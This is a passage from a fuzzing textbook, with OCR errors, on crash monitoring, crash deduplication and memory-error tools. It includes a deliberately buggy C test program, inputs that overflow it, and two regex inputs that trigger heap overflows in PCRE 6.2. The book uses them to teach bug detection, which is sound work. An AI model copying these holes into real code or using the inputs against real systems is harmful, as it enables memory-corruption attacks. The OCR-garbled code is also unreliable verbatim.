does not detect uninitialized reads and memory leaks, but the compile-time instru-
mentation is faster, has smaller memory overhead and can also detect overflows
from stack and global objects. For detection of uninitialized reads and memory
leaks, two additional sanitizers are available: MemorySanitizer® and LeakSanitizer?.

6.3.5 Virtualization

Using virtualization, most of the results of the methods discussed in this section can
be achieved. This can be done with any available technology including commercial
offerings such as VMware, as well as open source options such as Xen and Bochs.
By running the target program in a virtualized environment, it can be monitored
and controlled by looking at how the operating system is interacting with the virtual
hardware. Likewise, exceptions generated by programs can be caught and acted
upon. Additionally, when supported, virtual machines have the advantage that they
can restore the entire operating system and target application to a known good state
using snapshot technology. This can have a big advantage over simply restarting a
troubled target application since the file system, configuration files, registry entries,
or back-end databases may have been corrupted during fuzz testing. Overall, this
shows great promise, but is still a topic of research.

Monitoring Overview

+ Valid case instrumentation:
+ Will detect state-machine failures;
+ Platform independent;
— Will not detect exceptions that the application tries to hide.
+ System monitoring;:
+ Can catch file system abnormalities;
+ No need for source code;
— Will catch crash-level exceptions only;
— Platform dependent.
* Remote monitoring:
+ Can access information on many system resources;
+ Monitoring from fuzzing system;
— Will catch crash-level exceptions only;
— Will not have the same access as on the system;
— Not always supported.
« Application monitoring;:
+ Will detect all exceptions;
— Platform dependent;
— May miss nonexception-related vulnerabilities.

3https://github.com/google/sanitizers/wiki.



6.5

Deduplication 185

6.5

Deduplication

Because no two fuzz test cases are identical, fuzz test automation is often coupled
with deduplication system that aims to identify if the detected error is the same,
or similar enough, to a previously detected error and should be considered origin
from the same root cause. Errors, related logs and reproducing information are then
written to a database, or in a file systems, so that user can focus to unique errors
instead of viewing all the detected errors.

In this section we will discuss different techniques commonly used when group-
ing large amounts of fuzzing results. Other than with identical test case and test
environment, there is no 100% sure way to say that two errors are from the same
root cause, so even with a deduplication system, all test cases triggering an error
should always be recorded and retested after a fix has been applied.

6.5.1 Test Case Generator Information

Model-based fuzzers often have functionality that allow recording of a log with all
the fields that were generated and which fields were injected with anomalous value.
When a crash is detected that information can be used to cross check if any earlier
crashes had the same fields and anomalies, or just the same anomalies.

This technique is simple and does not have any requirements for the fuzz test
target, but it is not always very accurate. For example, if our log shows that a crash
occurred when a length field was injected with an anomaly, we can have different
bugs, like integer overflow in length value and missing boundary check where the
length is used, in the same group. Also when injecting anomalies to multiple fields
in the same test case, there is no way to say if two test cases that have some overlap
in fields with anomalies are triggering the same bug or a different one.

6.5.2 Operating System Logs

All operating systems have some internal logging for misbehaving applications.
These logs commonly offer information about the executable that caused the error
and the type of the error detected. For example, Windows operating systems have
a Windows Event Log that shows record for application crashes. Windows event
log entries can be easily queried, for example from PowerShell:

PS C:\Users\attekett> (Get-EventlLog -LogName Application -Source
“Application Error” -Newest 1).Message

Faulting application name: MicrosoftEdge.exe, version:
11.0.15063.447, time stamp: 0x5948acf2

Faulting module name: CoreUIComponents.dll, version:
10.0.15063.502, time stamp: Ox7bbd6che

Exception code: 0xc0000005

Fault offset: 0x0000000000077bd2

Faulting process ID: 0xf68

Faulting application start time: 0x01d3150523a63a7’e
Faulting application path: C:\Windows\SystemApps\Microsoft.
MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
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Faulting module path: C:\Windows\SYSTEM32\CoreUIComponents.dl1
Report ID: 3bc64d30-6ceb-4a23-ab24-b70beb6595ed

Faulting package full name: Microsoft.
MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe

Faulting package-relative application ID: MicrosoftEdge

Our example query shows the newest Application Error event from the applica-
tion event log. From the information shown we can see that an exception with code
“0xc0000005”, an access violation, has occurred in MicrosoftEdge executable in
CoreUIComponents module. This information together with Fault offset could be
used to group this and similar crashes.

Ubuntu Linux has very similar information available in a different format via
dmesg log:

attekett@ubuntu:~ $ dmesg | grep segfault | tail -2
[261653.491807]1 auplink[321647: \

segfault at 7ffec0f0b4f8\

ip 00007f515dbaf579 \

sp 00007 ffecOfOb500 \

error 6 \

in 1ibc-2.23.s50[7f515dab6000+1c0000]

This example shows that an executable aup1ink caused a segmentation fault in the
libc.2.23.s0 library; the lowest three bytes of instruction pointer (ip) can also be
used to create a good grouping fingerprint for this crash. One example fingerprint
could look like this: auplink-segfault-ip-578-error-6-libc-2.23.so.

Using operating system logs is often the most practical solution for local black-
box fuzzing. It does not require intrusion to the target, but still produces pretty
accurate information about the crash. As a downside, it does require access to the
operating system where the target is executed and bugs can end up being grouped
in the same group if crashes occur in common code. For example, for all typical
invalid uses of memcpy the fingerprint would be the same, even though the root
causes for those uses would be in different locations in the code. Also, if instruction
pointer can change between different builds of the target, so if used the fingerprint
has to be updated for every build.

6.5.3 Stack Traces

Stack traces are a report of the active stack frames at a given point of execution of
a program. Stack traces are commonly used in debugging of an error, but they can
also be used for grouping of errors. In many cases, for example Python or Node]JS
applications, stack trace is printed by default when an unhandled error occurs. With
programming languages like C and C++, you have to use a separate debugger or
tools like AddressSanitizer and Valgrind.

For example, below is a stack trace of an invalid write detected by Valgrind:

[cmiller@LinuxForensics pcre-6.21% valgrind ./pcredemo ‘[[**]]° a
==12840== Invalid write of size 1
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==12840==at Ox804B5ED: compile_regex (pcre_compile.c:3557)
==12840== by O0x804C50F: pcre_compile2 (pcre_compile.c:4921)
==12840== by 0x804CA94: pcre_compile (pcre_compile.c:3846)
==12840== by 0x804864E: main (pcredemo.c:76)

==12840==  Address 0x401F078 is 0 bytes after a block of size 80
alloc’d

From the Valgrind output, we can collect information like the type of the error,
the function and the source code line where the error occurred, which functions were
in the stack before the error occurred, and the source code lines where each func-
tion call was made. One example fingerprint, built from the function names, could
look like this: pcredemo-invalid-write-compile_regex-pcre_compile2-pcre_compile.

6.5.4 Advanced Tools

Tools like Microsoft’s lexploitable* and SkyLined’s Bugld’® can be used to build
unique hashes or identification numbers, that can be used identify separate issues
from each other. These tools are designed to be used together with a debugger.
When an error is detected, they collect detailed information about the program
state and produce detailed reports of the error. Both lexploitable and Bugld have
been designed automated fuzzing in mind and addition to deduplication help, they
also provide information about potential security impact of the issue and human-
readable summaries.

Test Program

Now that we’ve had the chance to see some of the tools at our disposal, let us run
them on a small test program to see how effective they can be.

6.6.1 The Program

#include <stdlib.h>
#include <stdio.h>
ffinclude <string.h>

char static_bufferl[16];

char static_buffer2[16];

void (*fn)(int);

int main(int argc, char *argv[]){
char stack_bufferl[1l6];
char stack_buffer2[16];
char *heap_bufferl = (char *) malloc(16);
char *heap_buffer2 = (char *) malloc(16);
char *dummy;

*https://msecdbg.codeplex.com/.
Shttps://github.com/SkyLined/Bugld.
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fn = exit;

if(argc < 3){
printf(“Need 2 arguments\n”);
exit(-1);
}

int x = atoi(argv[1]);
switch(x){
case 0:
// Stack overflow
strcpy(stack_buffer?2, argv[2]);
break;
case 1:
// Heap overflow
strcpy(heap_bufferl, argvi2]);
break;
case 2:
// Static overflow
strcpy(static_buffer2, argv(2]);
break;
case 3:
// wild write
heap_bufferllatoi(argv[2])] = 0;
break;
case 4:
// memory exhaustion (and buffer overflow)
dummy = (char *) malloc(atoi(argv[2]));
memset (dummy, 0x41, atoi(argv[2]));
strcpy(dummy, “hello”);
break;
}
free(heap_buffer?);
free(heap_bufferl);
fn(0);
}

This program accepts two arguments. The first is an integer that controls what the
program does, and the second is an argument to that particular functionality of the
program. Obviously, this program has a number of serious issues.

6.6.2 Test Cases

Below are a number of test cases that trigger various vulnerabilities in the test program,

1. ./test O AAAAAAAAAAAAAAAAAAAA

2. ./test 0O
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA
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3. ./test 1 AAAAAAAAAAAAAAAAAAA

4. /test 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAA

5. ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAA

6. ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7. ./test 3 18

8. ./test 3 20

9. ./test 4 10

10. ./test 4 914748364

These test cases have the property that they all cause some kind of security
problem in the program. The first four types of input cause a memory corruption,
and the final one can cause a memory consumption denial of service. In the last
one, the vulnerability really is that the user controls the size of a malloc without a
check on the length. The odd-numbered test cases execute the vulnerable lines of
code, but do not cause the program to crash or exhibit obviously bad behavior. The
even-numbered test cases do cause a program failure:

[cmiller@Linux ~]$% ./test 0 AAAAAAAAAAAAAAAAAAAA
[cmiller@Linux ~1$% ./test 1 AAAAAAAAAAAAAAAAAAA
[cmiller@Linux ~]$% ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAA
[cmiller@Linux ~1$% ./test 3 18

[cmiller@Linux ~J% time ./test 4 10

real 0m0.002s

user 0m0.000s

Sys 0m0.004s

So despite the fact the vulnerable lines are executed and in the first four, memory
is corrupted, the program shows no sign of harm. The even-numbered test cases
demonstrate the fact the vulnerabilities are real:

[cmiller@Linux ~1% ./test 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAA

Segmentation fault

[cmiller@Linux ~1% ./test 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAA

***% glibc detected *** ./test: double free or corruption (out):
0x086c8020 ***

[cmiller@Linux ~1% ./test 2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

[cmiller@Linux ~J$ ./test 3 20

***% glibc detected *** ./test: free(): invalid pointer:
0x09d91020 ***

[cmiller@Linux ~]$% time ./test 4 914748364
real 0mb54.942s

user 0m0.228s

Sys Oml.516s
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Therefore, the odd-numbered test cases illustrate the fact that inputs can be sent
into the program, which, without detailed monitoring, would fail to find the vulner-
ability. Let us see if the advanced monitoring solutions we’ve discussed would be
able to detect the five vulnerabilities, even if only the less-effective, odd-numbered
test cases were available.

6.6.3 Guard Malloc

Guard Malloc is used by running the target program with the appropriate environ-
ment variables set. For example,

charlie-millers-computer:~ cmiller$
DYLD_INSERT_LIBRARIES=/usr/1ib/Tibgmalloc.dylib ./test 1
AAAAAAAAAAAAAAAAAAA

GuardMalloc: Allocations will be placed on 16 byte boundaries.

GuardMalloc: - Some buffer overruns may not be noticed.
GuardMalloc: - Applications using vector instructions (e.g.,
SSE or

Altivec) should work.
GuardMalloc: GuardMalloc version 18
Bus error

So in this case, running the program with Guard Malloc enabled caused a bus
error and thus did find the vulnerability that would have otherwise been missed.
Not surprisingly, it did not find the vulnerability associated with the input 0 since
this is a stack-based vulnerability and Guard Malloc only modifies the way heap
buffers are allocated,

charlie-millers-computer:~ cmiller$
DYLD_INSERT_LIBRARIES=/usr/1ib/1ibgmalloc.dylib ./test 0
AAAAAAAAAAAAAAAAAAAA

GuardMalloc: Allocations will be placed on 16 byte boundaries.
GuardMalloc: - Some buffer overruns may not be noticed.
GuardMalloc: - Applications using vector instructions (e.g., SSE
or Altivec) should work.

GuardMalloc: GuardMalloc version 18

Notice that the program exited without a bus error, failing to detect the stack
overflow. Likewise, it did not help find the vulnerability associated with 2. It did
succeed in finding the bug from test case number 7. It did not find the one for test
case 9, but did for case 10 and gave the following error:

GuardMalloc[test-11401: Attempting excessively large memory
allocation: 914748368 bytes

Overall, Guard Malloc worked as advertised. It located vulnerabilities associ-
ated with heap allocations such as heap overflows and wild memory writes on the



6.6

Test Program 191

heap. It also logged when excessive memory allocations occurred. It did not help
with stack-based or static-variable-based vulnerabilities.

6.6.4 Valgrind

Performing the same experiment as above with Valgrind gives pretty much the same
results. It helps find the heap-based bugs and not the others. It also warns of an exces-
sive memory allocation. However, notice the much more detailed reporting provided
by Valgrind, which points out the line number and exactly what has occurred. This
kind of information can help reduce the time required for postfuzzing analysis. Here
is what the output looks like when Valgrind fails to find a vulnerability:

[cmiller@Linux ~J1$% valgrind ./test 0O AAAAAAAAAAAAAAAAAAAA
==6107== ERROR SUMMARY: 0 errors from 0 contexts (suppressed:

12 from
1)

Here is some detailed information about the two bugs it does find:

[cmilTer@Linux ~1$ valgrind ./test 1 AAAAAAAAAAAAAAAAAAA

==6110== Invalid write of size 1

==6110== at 0x40069D8: strcpy (mc_replace_strmem.c:272)
==6110== by 0x8048576: main (test.c:30)

==6110== Address 0x401F038 is 0 bytes after a block of size 16
alloc’d

==6110== at 0x40053D0: malloc (vg_replace_malloc.c:149)
==6110== by 0x80484D3: main (test.c:12)

==6110== ERROR SUMMARY: 4 errors from 2 contexts (suppressed:
12 from
1)

and

[cmiller@Linux ~]1$ valgrind ./test 3 18

==6154== Invalid write of size 1

==6154== at 0x80485AF: main (test.c:38)

==6154== Address 0x401F03A is 2 bytes after a block of size 16
alloc’d

==6154== at 0x40053D0: malloc (vg_replace_malloc.c:149)
==6154== by 0x80484D3: main (test.c:12)

Looking at the first of these outputs shows that it correctly identifies the buf-
fer overflow due to a strcpy on line 30 of test.c, and furthermore that it is trying to
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write past a buffer of size 16 that was allocated in line 12 of test.c. Likewise, the
other bug is correctly identified as a write of 1 byte that takes place on line 38 of
test.c and is 2 bytes after an allocated buffer of size 16.

6.6.5 Insure++

Insure++ is a commercial product that adds memory checks at compile time. Below
is an excerpt from the instrumented source code for the test program that shows
the types of checks added to the source code.

auto void *_Insure_11;

_insure_decl_lwptr(_Insure_fid_1, 9L, 0, 9, (void *)

(& _Insure_11),

65536, 2);

_Insure_0i = (16);

_Insure_1i = malloc(_Insure_0i);
_insure_assign_ptra_after_call((void **)(&_Insure_1i), 9,
& _Insure_spmark);

_insure_ptra_check(9, (void **)(&_Insure_1i), (void
*)_Insure_11);

if (_Insure_1i) {

_insure_alloca(1l0, _insure_get_heap_handle(0), (void **)
(& Insure_11),

_Insure_0i, 0, 4096, (char *)0, 0);

}

_insure_assign_ptraa(9, (void **)(&heap_bufferl), (void
**)(&_Insure_11),

(void *)((char *)_Insure_1i));

heap_bufferl (char *)_Insure_11;

_Insure_3_es = atoi(argv[2]);
_insure_after_call(&_Insure_spmark);
_insure_index2_checka(2l, (void **)(&heap_bufferl), (void
*)heap_bufferl,

(int)_Insure_3_es, sizeof(char), 0OL);
(heap_bufferl[_Insure_3_es]) = (0);

This excerpt consists of the lines relevant to case 3. The first set of lines is the
allocation of heap_bufferl. There are various calls to internal Insure++ functions
such as _insure_assign_ptra_after_call() and _insure_alloca(), which set
up the allocation. Later, when an index into the buffer is used, checks are made to
ensure this is safe, using the _insure_index2_checka() function.

Insure++ has the most information available, and it is not surprising that it does
the best job of monitoring. In fact, it finds all the memory corruption bugs (Figure
6.8), which is significantly better than the other tools we’ve discussed, all of which
missed two. It did not complain about the denial of service issue.
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O Insra on LinuxForensics:3275 B@E}
File HMessages Help
- e e —
Previous  Mext Delete Suppress  Sort Kill Help

=] Runtime: Executed "test” on LinucForensics, pid=10515 [3 tot,] s
o WRITE_OVERFLOW test.c 1 26
B Problem summary
=] Leak sunmary
e WRITE_OVERFLOW test,c 3 30
o HERP_CORRUPT test,c : 48
D Problem summary
8

Leak summary

o WRITE_OVERFLOW test,c ¢ 34
D Problem summary
=] Leak sunmary

|~ I -

e WRITE_BAD_INDEX test.c 3 38
+%  HEAP_CORRUPT test.c : 48
=] Problem summary
8 Leak sunmary .

| Cornections: None || Hessages: 14

Figure 6.8 Insure++ reports on all issues it has helped detect.

Insure++ also quickly points out the exact cause and location of problems,
including line numbers. In fact, Figure 6.9 shows that not only does it find where
the wild pointer write occurs, but also identifies the first spot where a problem
occurs because of it.

This type of detailed information can save a tremendous amount of time when
analyzing the results of fuzzing.

6.6.6 AddressSanitizer

To enable AddressSanitizer we have to compile our test program with correct com-

piler flags:

[attekett@Ubuntu ~J$ gcc -version
gcc (Ubuntu 5.4.0-6ubuntul~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.

[attekett@Ubuntu ~1$ gcc -fsanitize=address ./test.c -o test-asan

[attekett@Ubuntu ~J1$%

./test-asan 0 AAAAAAAAAAAAAAAAAAAA

==10666==ERROR: AddressSanitizer:
address 0x7ffc865685a0 at pc 0x7f9c6e974709 bp Ox7ffc86568530

sp Ox7ffc86567cd8

stack-buffer-overflow on
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O Insra on LinuxForensics: 3275 E“EI x
File Hessages Help
Previous  Mesxt Delete Suppress  Sort Kill Help

= Runtime: Executed "test" on LinuxForensics, pid=10527 [4 tot,] Al
=5 3 WRITE_BAD_IMDEX test,c 1 38

+ case 31
+ £ wild write
b heap_bufferd[atoilarge[2]13] = 02
+ break:
+ case 41

[~ HEAP_CORRUPT test,c 1 48
+ 3k =
+  free(heap_buffer2):
3> freelheap_bufferl):

L H
+
= Problem summary
= Leak summary
il
=~ ] -

| Connections: None || Hessages: 2B

Figure 6.9 Insure++ reveals detailed information about the location of two bugs.

AddressSanitizer correctly detects our stack and heap based bugs. Overflows in
our global variables static_buffer1 and static_buffer2 are not detected. In general,
AddressSanitizer can detect overflow of the global variables, but in our example we
need add initialization of the global variables in to our example code:

char static_bufferl[16]={0};
char static_buffer2[16]={0};

AddressSanitizer does not report anything unless it detects an issue during the
execution. Here is how AddressSanitizer reports the stack buffer overflow from
our first test:

==3473==ERROR: AddressSanitizer: stack-buffer-overflow on address
Ox7fffce229b20 at pc 0x7f76c9aal’709 bp Ox7fffc2229ab0
sp Ox7fffcz2229258
WRITE of size 21 at Ox7fffc2229b20 thread TO

/0 0x7f76¢c9%9aal708 (/usr/1ib/x86_64-1inux-gnu/libasan.
50.2+0x62708)

#1 0x400d41 in main test.c:25

##2 0x7176c969682f in __1ibc_start_main (/1ib/x86_64-1inux-gnu/
libc.so0.6+0x2082f)

##3 0x400af8 in _start (/home/attekett/test-asan+0x400af8)
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Address 0x7fffc2229b20 is located in stack of thread TO at offset
48 in frame
#0 0x400bd5 in main test.c:8

This frame has 1 object(s):
[32, 48) ‘stack_buffer2’ <== Memory access at offset 48
overflows this variable
HINT: this may be a false positive if your program uses some
custom stack unwind mechanism or swapcontext
(Tongjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 ?7
Shadow bytes around the buggy address:
0x10007843d310: 00 00 00 00 00 00 OO 00 00 00O 00 OO0 00 00 00 00
0x10007843d320: 00 00 00 00 00 00 OO 00 00 00O 00 OO 00 00 00 00
0x10007843d330: 00 00 00 00 00 00 OO 00 00 00 00 OO 00 00 00 00
0x10007843d340: 00 00 00 00 00 00 OO 00 00 00 00 OO 00 00 00 00
0x10007843d350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
=>0x10007843d360: f1 f1 00 O0[f4]f4 f3 f3 f3 f3 00 00 00 00 00 0O
0x10007843d370: 00 00 00 00 00 00 OO 00 00 00 00 OO0 00 00 00 00
0x10007843d380: 00 00 00 00 00 00 OO 00 00 00 00 OO0 00 00 00 00
0x10007843d390: 00 00 00 00 00 00 00O 00O OO OO OO OO OO 0O 0O 0O
0x10007843d3a0: 00 00 00 00 00 00 OO 00 00 00 00 OO 00 0O 00 00
0x10007843d3b0: 00 00 00 00 00 00 OO 00 00 OO0 00 OO 00 0O 00 00
Shadow byte Tegend (one shadow byte represents 8
application bytes):

Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: b
Freed heap region: fd
Stack left redzone: fl
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: b
Stack use after scope: f8
Global redzone: 9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe

==3473==ABORTING

AddressSanitizer report tells us that our program is trying to do a write of 21
bytes, from function main in source file test.c line 25, which overflows variable
stack_buffer2. The AddressSanitizer output also includes visual presentation of
the shadow bytes around the address where the invalid access occurred. Overall
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the information AddressSanitizer report provides is very similar to what Valgrind
report includes.

6.7 Case Study: PCRE

The last example illustrated the strengths and weaknesses of some monitoring tools
in a test environment. Now, let us try them on an example that is a little more
realistic. The Perl Compatible Regular Expression library is used by many open-
source applications including Firefox, Safari, Apache, and Postfix. This library has
had various vulnerabilities associated with it throughout its lifetime. The current
version as of the writing of this book is 7.4. Let us look back in time at version
6.2, which can still be found on the internet. It turns out that a modified version
of this library was shipped with Apple’s iPhone in April 2007, and the bugs we’re
considering here allowed for remote exploitation of the device. This library can be
built with the commands:

./configure
./make
gcc -g -I. pcredemo.c -0 pcredemo .libs/libpcre.a

This produces a small sample program called pcredemo, which takes two arguments.
The first argument is a regular expression and the second is a string to examine
with the supplied regular expression. For example,

cmiller$ ./pcredemo ‘ab.d’ ABCDabcdABCD

Match succeeded at offset 4
0: abcd
No named substrings

There are multiple vulnerabilities in this particular version of PCRE. Below are
two inputs that cause a heap overflow condition.

cmiller$ ./pcredemo ‘[[**]] a

PCRE compilation failed at offset 6: internal error:
code overflow

cmiller$ ./pcredemo

“(7P<a>)(?P>a) {1}’ a

PCRE compilation failed at offset 32: internal error:
code overflow

As can be seen from the output, the PCRE library correctly identifies that an
overflow has occurred, but only after the fact. However, since the program does
not crash, it is likely that a fuzz tester who blindly attached a debugger and ignored
the output might miss this useful message. In fairness, this program outputs many
different error messages, especially when fuzzing, so it would be easy to miss this
particular message in the noise.
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In fact, one of the authors of this book did fuzz this library and the program
never crashed. It was only through luckily observing the output of the application
that something more was noticed. After this was noticed, the author reran the inputs
under Insure++ and found the vulnerability.

Now that we have a real program with a couple of real bugs, let’s see how the
advanced memory corruption monitors do in detecting these two buffer overflows.

6.7.1 Guard Malloc

Since these two vulnerabilities are heap overflows, there is a good chance Guard
Malloc will find the bugs. In fact, it does find both of them,

cmiller$

DYLD_INSERT_LIBRARIES=/usr/1ib/Tibgmalloc.dylib ./pcredemo
‘[[**11" a

GuardMalloc: Allocations will be placed on 16 byte boundaries.
GuardMalloc: - Some buffer overruns may not be noticed.
GuardMalloc: - Applications using vector instructions (e.g., SSE

or Altivec) should work.

GuardMalloc: GuardMalloc version 18

Bus error

cmiller$

DYLD_INSERT_LIBRARIES=/usr/1ib/Tibgmalloc.dylib ./pcredemo
C(?P<@>) (?P>a) {1}’ a

GuardMalloc: Allocations will be placed on 16 byte boundaries.
GuardMalloc: - Some buffer overruns may not be noticed.
GuardMalloc: - Applications using vector instructions (e.g., SSE
or Altivec) should work.

GuardMalloc: GuardMalloc version 18

Bus error

Running the first example under the gdb debugger reveals the exact line where the
overflow occurs:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FATLURE at address: 0xb000d000
0x00004f7b in compile_regex (options=<value

temporarily unavailable,

due to optimizations>, oldims=0, brackets=0xbffffda4s,
codeptr=0xbffff49c, ptrptr=0xbffff498, errorcodeptr=0xbffffdal,
lookbehind=0, skipbytes=0, firstbyteptr=0xbffffdac,
regbyteptr=0xbffff4a8, bcptr=0x26, cd=0xbffff454) at
pcre_compile.c:3557

3557 PUT(code, 1, code - start_bracket);

Likewise for the second vulnerability,

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xb000d000
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0x00003844 1in compile_regex (options=0, oldims=0,

brackets=0xbffff474,

codeptr=0xbffffdec, ptrptr=0xbffff468, errorcodeptr=0xbffff470,
lookbehind=0, skipbytes=0, firstbyteptr=0xbffffd7c,
reqbyteptr=0xbffff478, bcptr=0x0, cd=0xbffff424) at

pcre_compile.c:2354

2354 *code = OP_KET;

So, if when fuzzing this particular library, the tester was only using the simple
method of attaching a debugger and waiting for crashes, he or she would miss these
two critical (and exploitable) bugs. If the tester was monitoring the program with
Guard Malloc, he or she would have found both bugs. Plus, this program is small
enough that there was no observable slowdown in performance when running with
Guard Malloc. Therefore, in this case, it is difficult to think of a reason not to use
this additional monitoring when fuzzing.

6.7.2 Valgrind

This real-world example confirms what we saw in the test program in the last sec-
tion. Valgrind again finds the two vulnerabilites and gives even more useful infor-

mation than Guard Malloc.

[cmiller@LinuxForensics pcre-6.21% valgrind ./pcredemo ‘[[**]]" a
==12840== Invalid write of size 1

compile_regex (pcre_compile.c:3557)
pcre_compile? (pcre_compile.c:4921)
pcre_compile (pcre_compile.c:3846)
main (pcredemo.c:76)

==172840== Address 0x401F078 is 0 bytes after a block of size 80

malloc (vg_replace_malloc.c:149)
pcre_compile?2 (pcre_compile.c:4877)
pcre_compile (pcre_compile.c:3846)
main (pcredemo.c:76)

pcre_compile?2 (pcre_compile.c:4935)
pcre_compile (pcre_compile.c:3846)
main (pcredemo.c:76)

==12840== Address 0x401F079 is 1 bytes after a block of size 80

malloc (vg_replace_malloc.c:149)
pcre_compile?2 (pcre_compile.c:4877)
pcre_compile (pcre_compile.c:3846)

==12840== at 0x804B5ED:
==12840== by 0x804C50F:
==12840== by 0x804CA94:
==12840== by 0x804864E:
alloc’d

==12840== at 0x40053D0:
==12840== by 0x804C40C:
==12840== by 0x804CA94:
==12840== by 0x804864E:
==12840==

==12840== Invalid write of size 1
==12840== at 0x804(C545:
==12840== by 0x804CA94:
==12840== by 0x804864E:
alloc’d

==12840== at 0x40053D0:
==12840== by 0x804C40C:
==12840== by 0x804CA94:
==12840== by 0x804864E:

main (pcredemo.c:76)

Another interesting thing that occurs is that, unlike Guard Malloc, it is able to
continue past the first bug to find another (related) problem. A similar result is

found for the other bug,
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[Linux pcre-6.21% ./pcredemo ‘(?P<a>)(?P>a){l}’ a
==12857== Invalid write of size 1

==12857== at Ox804B5ED: compile_regex (pcre_compile.c:3557)
==12857== by 0x804C50F: pcre_compile2 (pcre_compile.c:4921)
==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846)
==12857== by 0x804864E: main (pcredemo.c:76)

==12857== Address 0x401F068 is 1 bytes after a block of size 63
alloc’d

==12857== at 0x40053D0: malloc (vg_replace_malloc.c:149)
==12857== by 0x804C40C: pcre_compile2 (pcre_compile.c:4877)
==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846)
==12857== by 0x804864E: main (pcredemo.c:76)

==12857==

==12857== Invalid write of size 1

==12857== at 0x804C545: pcre_compile2 (pcre_compile.c:4935)
==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846)
==12857== by 0x804864E: main (pcredemo.c:76)

==12857== Address 0x401F069 is 2 bytes after a block of size 63
alloc’d

==12857== at 0x40053D0: malloc (vg_replace_malloc.c:149)
==12857== by 0x804C40C: pcre_compile2 (pcre_compile.c:4877)
==12857== by 0x804CA94: pcre_compile (pcre_compile.c:3846)
==12857== by 0x804864E: main (pcredemo.c:76)

6.7.3 Insure++

In order to build the pcredemo program for use with Insure++, we need to tell it to
use Insure as the compiler. The following commands will build pcredemo for use
with Insure++:

./configure CC=insure
make
insure -g -I. pcredemo.c -o pcredemo .libs/Tibpcre.a

After this, running pcredemo will bring up the Insure console, which will display
any problems identified. Insure++ finds both vulnerabilities and correctly indicates
where they can be found in the source code (Figure 6.10).

6.7.4 AddressSanitizer

To enable AddressSanitizer for the pcredemo program, we need to add
-fsanitize=address for our configure CFLAGS and CXXFLAGS, and for our pcre-
demo compile command:

./configure CFLAGS="-fsanitize=address”
CXXFLAGS="-fsanitize=address”

make

gcc -fsanitize=address -g -I. pcredemo.c -o pcredemo .libs/
libpcre.a
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O Insra on LinuxForensics:3275 E“EIE
File Hessages Help
Previous  Mesxt Delete Suppress  Sort kill Help

= Runtime: Executed "pcredem'o" on LinuxForensics, pid=17320 [6 tot,] #
o WRITE_BADI_IMDEX pore_compile,c 3 3557
o READI_BAD_INDEX pore_compile,c 3 3557
o WRITE_OYERFLOW pore_conmpile,c $ 4930
o HEAP_CORRUPT pore_conpile,c @ 4950
= Problem summary

Leak summary

o WRITE_BADI_IMDEX pore_compile,c 3 3557
o READI_BAD_INDEX pore_compile,c 3 3557
o WRITE_OYERFLOW pore_compile,c @ 4930
o HEAP_CORRUPT pore_compile,c 3 4950
=] Problem summary
= Leak summary
J~4 I ]

| Connectionz: Mone || Messagest 26

Figure 6.10 Insure++ outlines the two PCRE bugs.

Once we have AddressSanitizer enabled, we can run the pcredemo normally.
[attekett@Ubuntu ~J]$ ./pcredemo ‘ab.d’ ABCDabcdABCD
Match succeeded at offset 4

0: abcd
No named substrings

With the inputs that trigger our heap buffer overflows we see that AddressSanitizer
catches the bug once it is triggered.

[attekett@Ubuntu ~J$ ./pcredemo ‘[[**]]° a

==5717==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60800000bff8 at pc 0x00000040b9d1 bp 0x7ffd3bf5f480
sp Ox7ffd3bf5f470
WRITE of size 1 at 0x60800000bff8 thread TO
#0 0x40b9d0 in compile_regex /pcre-6.2/pcredemo+0x40b9d0)
#1 0x40f585 in pcre_compile2 (/pcre-6.2/pcredemo+0x40f585)
##2 0x40c73c in pcre_compile (/pcre-6.2/pcredemo+0x40c73c)
#3 0x40132f in main /pcre-6.2/pcredemo.c:76
#4 0x7fde4le2282f in __libc_start_main (/1ib/x86_64-
linux- gnu/libc.so.6+0x2082f)
#5 0x400fd8 in _start (/pcre-6.2/pcredemo+0x400fd8)
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[attekett@Ubuntu ~J$ ./pcredemo ‘[[**]1]  a

==5741==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x60700000dff7 at pc 0x00000040b97b bp Ox7ffdlaaee380
sp Ox7ffdlaaee370
WRITE of size 1 at 0x60700000dff7 thread TO
#0 0x40b97a in compile_regex (/pcre-6.2/pcredemo+0x40b97a)
#1 0x40f585 in pcre_compile2 (/pcre-6.2/pcredemo+0x40f585)
#2 0x40c73c in pcre_compile (/pcre-6.2/pcredemo+0x40c73c)
#3 0x40132f in main /pcre-6.2/pcredemo.c:76
4 Ox7f46ea7d982f in __Tibc_start_main (/1ib/x86_64-Tinux-
gnu/libc.so.6+0x2082f)
#5 0x400fd8 in _start (/pcre-6.2/pcredemo+0x400fd8)

Again we have a very similar report than what Valgrind gave, but AddressSanitizer
exits the program instantly when an issue is detected, so we are not detecting the
second (related) problem.

Summary

